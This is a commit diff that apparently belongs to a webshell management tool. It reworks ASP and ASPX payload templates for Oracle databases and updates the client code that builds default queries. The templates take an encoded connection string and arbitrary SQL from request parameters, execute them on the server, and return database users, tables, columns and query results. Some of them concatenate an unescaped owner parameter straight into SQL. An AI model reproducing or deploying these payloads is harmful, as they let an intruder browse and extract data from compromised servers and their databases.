Commit 05e658af authored by Medicean's avatar Medicean

(Enhance:Database) 优化 asp(x) Oracle 数据库操作

parent 99d70d49
...@@ -22,6 +22,7 @@ ...@@ -22,6 +22,7 @@
> host 部分填写: localhost/orcl 或者 localhost:1521/orcl > host 部分填写: localhost/orcl 或者 localhost:1521/orcl
> 参考: http://php.net/manual/zh/function.oci-connect.php connection_string 部分 > 参考: http://php.net/manual/zh/function.oci-connect.php connection_string 部分
* 优化 asp(x) Oracle 类型数据库操作
* 优化SQLServer类型数据库默认查询语句 * 优化SQLServer类型数据库默认查询语句
* php数据管理解析数据时自动猜解编码 * php数据管理解析数据时自动猜解编码
......
...@@ -6,27 +6,128 @@ module.exports = (arg1, arg2, arg3, arg4, arg5, arg6) => ({ ...@@ -6,27 +6,128 @@ module.exports = (arg1, arg2, arg3, arg4, arg5, arg6) => ({
// 显示所有数据库 // 显示所有数据库
show_databases: { show_databases: {
_: _:
`Set Conn=Server.CreateObject("Adodb.connection"):Dim SI:Conn.Open bd(Request("${arg1}")):If Err Then:SI="ERROR:// "&Err.Description:Err.Clear:Else:SI="[ADO DATABASE]"&chr(9):Conn.Close:End If:Set Conn=Nothing:Response.Write(SI)`, `Set Conn=Server.CreateObject("Adodb.connection"):
Dim SI:
Conn.Open bd(Request("${arg1}")):
If Err Then:
SI="ERROR:// "&Err.Description:
Err.Clear:
Else:
Set Rs=Conn.Execute("SELECT USERNAME FROM ALL_USERS ORDER BY 1"):
If Err Then:
SI="ERROR:// "&Err.Description:
Err.Clear:
Else:
Do While Not(Rs.Eof Or Rs.Bof):
SI=SI&Rs(0)&chr(9):
Rs.MoveNext:
Loop:
End If:
Set Rs=Nothing:
Conn.Close:
End If:
Set Conn=Nothing:
Response.Write(SI)`.replace(/\n\s+/g, ''),
[arg1]: '#{hex::conn}' [arg1]: '#{hex::conn}'
}, },
// 显示数据库所有表 // 显示数据库所有表
show_tables: { show_tables: {
_: _:
`Set Conn=Server.CreateObject("Adodb.connection"):Dim SI:Conn.Open ""&bd(Request("${arg1}"))&"":If Err Then:SI="ERROR:// "&Err.Description:Err.Clear:Else:Set Rs=Conn.Execute("SELECT TABLE_NAME FROM ALL_TABLES"):If Err Then:SI="ERROR:// "&Err.Description:Err.Clear:Else:Do While Not(Rs.Eof Or Rs.Bof):SI=SI&Rs(0)&chr(9):Rs.MoveNext:Loop:End If:Set Rs=Nothing:Conn.Close:End If:Set Conn=Nothing:Response.Write(SI)`, `Set Conn=Server.CreateObject("Adodb.connection"):
[arg1]: '#{hex::conn}' Dim SI:
Conn.Open ""&bd(Request("${arg1}"))&"":
If Err Then:
SI="ERROR:// "&Err.Description:
Err.Clear:
Else:
Set Rs=Conn.Execute("SELECT TABLE_NAME FROM (SELECT TABLE_NAME FROM ALL_TABLES WHERE OWNER='"&Request("${arg2}")&"' ORDER BY 1)"):
If Err Then:
SI="ERROR:// "&Err.Description:
Err.Clear:
Else:
Do While Not(Rs.Eof Or Rs.Bof):
SI=SI&Rs(0)&chr(9):
Rs.MoveNext:
Loop:
End If:
Set Rs=Nothing:
Conn.Close:
End If:
Set Conn=Nothing:
Response.Write(SI)`.replace(/\n\s+/g, ''),
[arg1]: '#{hex::conn}',
[arg2]: '#{dbname}'
}, },
// 显示表字段 // 显示表字段
show_columns: { show_columns: {
_: _:
`Function TN(n):Select Case n:Case 2:TN="smallint":Case 3:TN="int":Case 4:TN="real":Case 5:TN="float":Case 6:TN="money":Case 7:TN="datetime":Case 11:TN="bit":Case 12:TN="variant":Case 16:TN="tinyint":Case 17:TN="tinyint":Case 20:TN="bigint":Case 72:TN="unique":Case 128:TN="binary":Case 129:TN="char":Case 130:TN="nchar":Case 131:TN="numeric":Case 135:TN="datetime":Case 200:TN="varchar":Case 201:TN="text":Case 202:TN="nvarchar":Case 203:TN="ntext":Case 204:TN="varbinary":Case 205:TN="image":Case Else:TN=n:End Select:End Function:Set Conn=Server.CreateObject("Adodb.connection"):Dim SI:Conn.Open ""&bd(Request("${arg1}"))&"":If Err Then:SI="ERROR:// "&Err.Description:Err.Clear:Else:Set Rs=CreateObject("Adodb.Recordset"):Rs.open ""&bd(Request("${arg2}"))&"",Conn,1,1:If Err Then:SI="ERROR:// "&Err.Description:Err.Clear:Else:For n=0 To Rs.Fields.Count-1:SI=SI&Rs.Fields.Item(n).Name&" ("&TN(Rs.Fields.Item(n).Type)&")"&chr(9):Next:Rs.Close:End If:Set Rs=Nothing:Conn.Close:End If:Set Conn=Nothing:Response.Write(SI)`, `Set Conn=Server.CreateObject("Adodb.connection"):
Dim SI:
Conn.Open ""&bd(Request("${arg1}"))&"":
If Err Then:
SI="ERROR:// "&Err.Description:
Err.Clear:
Else:
Set Rs=CreateObject("Adodb.Recordset"):
Rs.open ""&bd(Request("${arg2}"))&"",Conn,1,1:
If Err Then:
SI="ERROR:// "&Err.Description:
Err.Clear:
Else:
Dim FN:
FN=Rs.Fields.Count-1:
Do While Not(Rs.Eof Or Rs.Bof):
Response.Write Rs(0)&" ("&Rs(1)&"("&Rs(2)&"))"&chr(9):
Rs.MoveNext:
Loop:
Rs.Close:
End If:
Set Rs=Nothing:
Conn.Close:
End If:
Set Conn=Nothing:
Response.Write(SI)`.replace(/\n\s+/g,''),
[arg1]: '#{hex::conn}', [arg1]: '#{hex::conn}',
[arg2]: '#{hex::table}' [arg2]: '#{hex::table}'
}, },
// 执行SQL语句 // 执行SQL语句
query: { query: {
_: _:
`Set Conn=Server.CreateObject("Adodb.connection"):Conn.Open ""&bd(Request("${arg1}"))&"":Dim CO,HD,RN:CO=chr(9)&chr(124)&chr(9):RN=chr(13)&chr(10):HD="Result"&CO&RN:If Err Then:Response.Write HD&Err.Description&CO&RN:Err.Clear:Else:Set Rs=Conn.Execute(""&bd(Request("${arg2}"))&""):If Err Then:Response.Write HD&Err.Number&":"&Err.Description&CO&RN:Err.Clear:Else:Dim FN:FN=Rs.Fields.Count-1:For n=0 To FN:Response.Write Rs.Fields.Item(n).Name&CO:Next:Response.Write RN:Do While Not(Rs.Eof Or Rs.Bof):For n=0 To FN:Response.Write Rs(n):Response.Write CO:Next:Response.Write RN:Rs.MoveNext:Loop:End If:Set Rs=Nothing:Conn.Close:End If:Set Conn=Nothing:`, `Set Conn=Server.CreateObject("Adodb.connection"):
Conn.Open ""&bd(Request("${arg1}"))&"":
Dim CO,HD,RN:CO=chr(9)&chr(124)&chr(9):
RN=chr(13)&chr(10):
HD="Result"&CO&RN:
If Err Then:
Response.Write HD&Err.Description&CO&RN:
Err.Clear:
Else:
Set Rs=Conn.Execute(""&bd(Request("${arg2}"))&""):
If Err Then:
Response.Write HD&Err.Number&":"&Err.Description&CO&RN:
Err.Clear:
Else:
Dim FN:
FN=Rs.Fields.Count-1:
For n=0 To FN:
Response.Write Rs.Fields.Item(n).Name&CO:
Next:
Response.Write RN:
Do While Not(Rs.Eof Or Rs.Bof):
For n=0 To FN:
Response.Write Rs(n):
Response.Write CO:
Next:
Response.Write RN:
Rs.MoveNext:
Loop:
End If:
Set Rs=Nothing:
Conn.Close:
End If:
Set Conn=Nothing:`.replace(/\n\s+/g, ''),
[arg1]: '#{hex::conn}', [arg1]: '#{hex::conn}',
[arg2]: '#{hex::sql}', [arg2]: '#{hex::sql}',
[arg3]: '#{dbname}'
} }
}) })
...@@ -6,30 +6,87 @@ module.exports = (arg1, arg2, arg3, arg4, arg5, arg6) => ({ ...@@ -6,30 +6,87 @@ module.exports = (arg1, arg2, arg3, arg4, arg5, arg6) => ({
// 显示所有数据库 // 显示所有数据库
show_databases: { show_databases: {
_: _:
`var Conn=new ActiveXObject("Adodb.connection");Conn.Open(System.Text.Encoding.GetEncoding("!{ANT::ENDOCE}").GetString(System.Convert.FromBase64String(Request.Item["${arg1}"])));Response.Write("[ADO DATABASE]\\t");Conn.Close();`, `var Conn=new ActiveXObject("Adodb.connection");
Conn.ConnectionTimeout=10;
Conn.Open(System.Text.Encoding.GetEncoding("!{ANT::ENDOCE}").GetString(System.Convert.FromBase64String(Request.Item["${arg1}"])));
var Rs=new ActiveXObject("ADODB.Recordset");
Rs.Open("SELECT USERNAME FROM ALL_USERS ORDER BY 1",Conn,1,1);
while(!Rs.EOF && !Rs.BOF){
Response.Write(Rs.Fields(0).Value+"\\t");
Rs.MoveNext();
}
Rs.Close();
Conn.Close();`.replace(/\n\s+/g, ''),
// Provider=OraOLEDB.Oracle;Data Source=test;User Id=sys;Password=;Persist Security Info=True; // Provider=OraOLEDB.Oracle;Data Source=test;User Id=sys;Password=;Persist Security Info=True;
[arg1]: '#{base64::conn}' [arg1]: '#{base64::conn}'
}, },
// 显示数据库所有表 // 显示数据库所有表
show_tables: { show_tables: {
_: _:
`var Conn=new ActiveXObject("Adodb.connection");Conn.Open(System.Text.Encoding.GetEncoding("!{ANT::ENDOCE}").GetString(System.Convert.FromBase64String(Request.Item["${arg1}"])));var Rs=new ActiveXObject("ADODB.Recordset");Rs.Open("SELECT TABLE_NAME FROM ALL_TABLES",Conn,1,1);while(!Rs.EOF && !Rs.BOF){Response.Write(Rs.Fields(0).Value+"\\t");Rs.MoveNext();}Rs.Close();Conn.Close();`, `var Conn=new ActiveXObject("Adodb.connection");
[arg1]: '#{base64::conn}' Conn.ConnectionString=System.Text.Encoding.GetEncoding("!{ANT::ENDOCE}").GetString(System.Convert.FromBase64String(Request.Item["${arg1}"]));
Conn.ConnectionTimeout=10;
Conn.Open();
var Rs=new ActiveXObject("ADODB.Recordset");
Rs.Open("SELECT TABLE_NAME FROM (SELECT TABLE_NAME FROM ALL_TABLES WHERE OWNER='"+Request.Item["${arg2}"]+"' ORDER BY 1)",Conn,1,1);
while(!Rs.EOF && !Rs.BOF){
Response.Write(Rs.Fields(0).Value+"\\t");
Rs.MoveNext();
}
Rs.Close();
Conn.Close();`.replace(/\n\s+/g, ''),
[arg1]: '#{base64::conn}',
[arg2]: '#{dbname}'
}, },
// 显示表字段 // 显示表字段
show_columns: { show_columns: {
_: _:
`function TN(n:Int32):String{switch(n){case 2:return "smallint";case 3:return "int";case 4:return "real";case 5:return "float";case 6:return "money";case 7:return "datetime";case 11:return "bit";case 12:return "variant";case 16:return "tinyint";case 17:return "tinyint";case 20:return "bigint";case 72:return "unique";case 128:return "binary";case 129:return "char";case 130:return "nchar";case 131:return "numeric";case 135:return "datetime";case 200:return "varchar";case 201:return "text";case 202:return "nvarchar";case 203:return "ntext";case 204:return "varbinary";case 205:return "image";default:return n;}}var Conn=new ActiveXObject("Adodb.connection");Conn.Open(System.Text.Encoding.GetEncoding("!{ANT::ENDOCE}").GetString(System.Convert.FromBase64String(Request.Item["${arg1}"])));var Rs=new ActiveXObject("ADODB.Recordset");Rs.Open(System.Text.Encoding.GetEncoding("!{ANT::ENDOCE}").GetString(System.Convert.FromBase64String(Request.Item["${arg2}"])),Conn,1,1);var c:Int32;for(c=0;c<=Rs.Fields.Count-1;c++){Response.Write(Rs.Fields.Item(c).Name+" ("+TN(Rs.Fields.Item(c).Type)+")\\t");}Rs.Close();Conn.Close();`, `var Conn=new ActiveXObject("Adodb.connection");
Conn.ConnectionTimeout=10;
Conn.Open(System.Text.Encoding.GetEncoding("!{ANT::ENDOCE}").GetString(System.Convert.FromBase64String(Request.Item["${arg1}"])));
var Rs=new ActiveXObject("ADODB.Recordset");
Rs.Open(System.Text.Encoding.GetEncoding("!{ANT::ENDOCE}").GetString(System.Convert.FromBase64String(Request.Item["${arg2}"])),Conn,1,1);
var CO:String="\\t";
var i:Int32=Rs.Fields.Count,c:Int32;
while(!Rs.EOF && !Rs.BOF){
Response.Write(Rs.Fields(0).Value+" ("+Rs.Fields(1).Value+"("+Rs.Fields(2).Value+"))");
Response.Write(CO);
Rs.MoveNext();
}
Rs.Close();
Conn.Close();`.replace(/\n\s+/g, ''),
[arg1]: '#{base64::conn}', [arg1]: '#{base64::conn}',
// SELECT * FROM (SELECT A.*,ROWNUM N FROM table2 A) WHERE N=1 // SELECT * FROM ${db}.${table} WHERE ROWNUM=0
[arg2]: '#{base64::table}' [arg2]: '#{base64::table}' // 这里其实传入的是获取表头的 sql 语句
}, },
// 执行SQL语句 // 执行SQL语句
query: { query: {
_: _:
`var Conn=new ActiveXObject("Adodb.connection");var strSQL:String=System.Text.Encoding.GetEncoding("!{ANT::ENDOCE}").GetString(System.Convert.FromBase64String(Request.Item["${arg2}"]));Conn.ConnectionString=System.Text.Encoding.GetEncoding("!{ANT::ENDOCE}").GetString(System.Convert.FromBase64String(Request.Item["${arg1}"]));Conn.ConnectionTimeout=10;Conn.Open();var CO:String="\\t|\\t",RN:String="\\r\\n",Dat:String;var Rs=Conn.Execute(strSQL);var i:Int32=Rs.Fields.Count,c:Int32;for(c=0;c<i;c++){Response.Write(Rs.Fields(c).Name+CO);}Response.Write(RN);while(!Rs.EOF && !Rs.BOF){for(c=0;c<i;c++){Dat=Rs.Fields(c).Value;Response.Write(Dat);Response.Write(CO);}Response.Write(RN);Rs.MoveNext();}Conn.Close();`, `var Conn=new ActiveXObject("Adodb.connection");
var strSQL:String=System.Text.Encoding.GetEncoding("!{ANT::ENDOCE}").GetString(System.Convert.FromBase64String(Request.Item["${arg2}"]));
Conn.ConnectionString=System.Text.Encoding.GetEncoding("!{ANT::ENDOCE}").GetString(System.Convert.FromBase64String(Request.Item["${arg1}"]));
Conn.ConnectionTimeout=10;
Conn.Open();
var CO:String="\\t|\\t",RN:String="\\r\\n",Dat:String;
var Rs=Conn.Execute(strSQL);
var i:Int32=Rs.Fields.Count,c:Int32;
for(c=0;c<i;c++){
Response.Write(Rs.Fields(c).Name+CO);
}
Response.Write(RN);
while(!Rs.EOF && !Rs.BOF){
for(c=0;c<i;c++){
Dat=Rs.Fields(c).Value;
Response.Write(Dat);
Response.Write(CO);
}
Response.Write(RN);
Rs.MoveNext();
}
Conn.Close();`.replace(/\n\s+/g, ''),
[arg1]: '#{base64::conn}', [arg1]: '#{base64::conn}',
// SELECT * FROM (SELECT A.*,ROWNUM N FROM table2 A ORDER BY 1) WHERE N>0 AND N<=20 // SELECT * FROM (SELECT A.*,ROWNUM N FROM table2 A ORDER BY 1) WHERE N>0 AND N<=20
[arg2]: '#{base64::sql}', [arg2]: '#{base64::sql}',
[arg3]: '#{dbname}'
} }
}) })
...@@ -79,10 +79,21 @@ class ASP { ...@@ -79,10 +79,21 @@ class ASP {
// 生成查询SQL语句 // 生成查询SQL语句
case 'column': case 'column':
let _co = arr[1].split(':'); let _co = arr[1].split(':');
const db = new Buffer(_co[1], 'base64').toString();
const table = new Buffer(_co[2], 'base64').toString(); const table = new Buffer(_co[2], 'base64').toString();
const column = new Buffer(_co[3], 'base64').toString(); const column = new Buffer(_co[3], 'base64').toString();
let sql = "";
const sql = `SELECT TOP 20 [${column}] FROM [${table}] ORDER BY 1 DESC;`; switch(this.dbconf['type']){
case 'mysql':
sql = `SELECT \`${column}\` FROM \`${table}\` ORDER BY 1 DESC LIMIT 0,20;`;
break;
case 'oracle':
sql = `SELECT "${table}"."${column}" FROM ${db}.${table} WHERE ROWNUM < 20 ORDER BY 1`;
break;
default:
sql = `SELECT TOP 20 [${column}] FROM [${table}] ORDER BY 1 DESC;`;
break;
}
this.manager.query.editor.session.setValue(sql); this.manager.query.editor.session.setValue(sql);
break; break;
} }
...@@ -423,6 +434,9 @@ class ASP { ...@@ -423,6 +434,9 @@ class ASP {
}) })
).then((res) => { ).then((res) => {
let ret = res['text']; let ret = res['text'];
if(ret.indexOf("ERROR://") > -1) {
throw ret;
}
const arr = ret.split('\t'); const arr = ret.split('\t');
if (arr.length === 1 && ret === '') { if (arr.length === 1 && ret === '') {
toastr.warning(LANG['result']['warning'], LANG_T['warning']); toastr.warning(LANG['result']['warning'], LANG_T['warning']);
...@@ -466,6 +480,9 @@ class ASP { ...@@ -466,6 +480,9 @@ class ASP {
}) })
).then((res) => { ).then((res) => {
let ret = res['text']; let ret = res['text'];
if(ret.indexOf("ERROR://") > -1) {
throw ret;
}
const arr = ret.split('\t'); const arr = ret.split('\t');
const _db = new Buffer(db).toString('base64'); const _db = new Buffer(db).toString('base64');
// 删除子节点 // 删除子节点
...@@ -499,15 +516,27 @@ class ASP { ...@@ -499,15 +516,27 @@ class ASP {
_id: this.manager.opt['_id'], _id: this.manager.opt['_id'],
id: id id: id
}); });
let sql = "";
switch(conf['type']){
case "oracle":
// sql = `SELECT * FROM ${db}.${table} WHERE ROWNUM=0`;
sql = `SELECT COLUMN_NAME,DATA_TYPE,DATA_LENGTH FROM ALL_TAB_COLUMNS WHERE OWNER='${db}' AND TABLE_NAME='${table}' ORDER BY COLUMN_ID`;
break;
default:
sql = `USE [${this.dbconf['database']}];SELECT TOP 0 * FROM ${table}`;
break;
}
this.core.request( this.core.request(
this.core[`database_${conf['type']}`].show_columns( this.core[`database_${conf['type']}`].show_columns(
{ {
conn: conf['conn'], conn: conf['conn'],
table: conf['type'] === 'oracle' ? `SELECT * FROM (SELECT A.*,ROWNUM N FROM ${table} A) WHERE N=1` : `USE [${this.dbconf['database']}];SELECT TOP 0 * FROM ${table}` table: sql
}) })
).then((res) => { ).then((res) => {
let ret = res['text']; let ret = res['text'];
if(ret.indexOf("ERROR://") > -1) {
throw ret;
}
const arr = ret.split('\t'); const arr = ret.split('\t');
const _db = new Buffer(db).toString('base64'); const _db = new Buffer(db).toString('base64');
const _table = new Buffer(table).toString('base64'); const _table = new Buffer(table).toString('base64');
...@@ -526,11 +555,20 @@ class ASP { ...@@ -526,11 +555,20 @@ class ASP {
this.manager.list.imgs[3] this.manager.list.imgs[3]
); );
}); });
let presql = "";
switch(this.dbconf['type']){
case 'mysql':
presql = `SELECT * FROM \`${table}\` ORDER BY 1 DESC LIMIT 0,20;`;
break;
case 'oracle':
presql = `SELECT * FROM ${db}.${table} WHERE ROWNUM < 20 ORDER BY 1`;
break;
default:
presql = `SELECT TOP 20 * from [${table}] ORDER BY 1 DESC;`;
break;
}
// 更新编辑器SQL语句 // 更新编辑器SQL语句
this.manager.query.editor.session.setValue( this.manager.query.editor.session.setValue(presql);
conf['type'] === 'oracle'
? `SELECT * FROM (SELECT A.*,ROWNUM N FROM ${table} A ORDER BY 1 DESC) WHERE N>0 AND N<=20`
: `SELECT TOP 20 * FROM ${table} ORDER BY 1 DESC;`);
this.manager.list.layout.progressOff(); this.manager.list.layout.progressOff();
}).catch((err) => { }).catch((err) => {
toastr.error(LANG['result']['error']['column'](err['status'] || JSON.stringify(err)), LANG_T['error']); toastr.error(LANG['result']['error']['column'](err['status'] || JSON.stringify(err)), LANG_T['error']);
...@@ -550,6 +588,9 @@ class ASP { ...@@ -550,6 +588,9 @@ class ASP {
}) })
).then((res) => { ).then((res) => {
let ret = res['text']; let ret = res['text'];
if(ret.indexOf("ERROR://") > -1) {
throw ret;
}
// 更新执行结果 // 更新执行结果
this.updateResult(ret); this.updateResult(ret);
this.manager.query.layout.progressOff(); this.manager.query.layout.progressOff();
......
Markdown is supported
0% or
You are about to add 0 people to the discussion. Proceed with caution.
Finish editing this message first!
Please register or to comment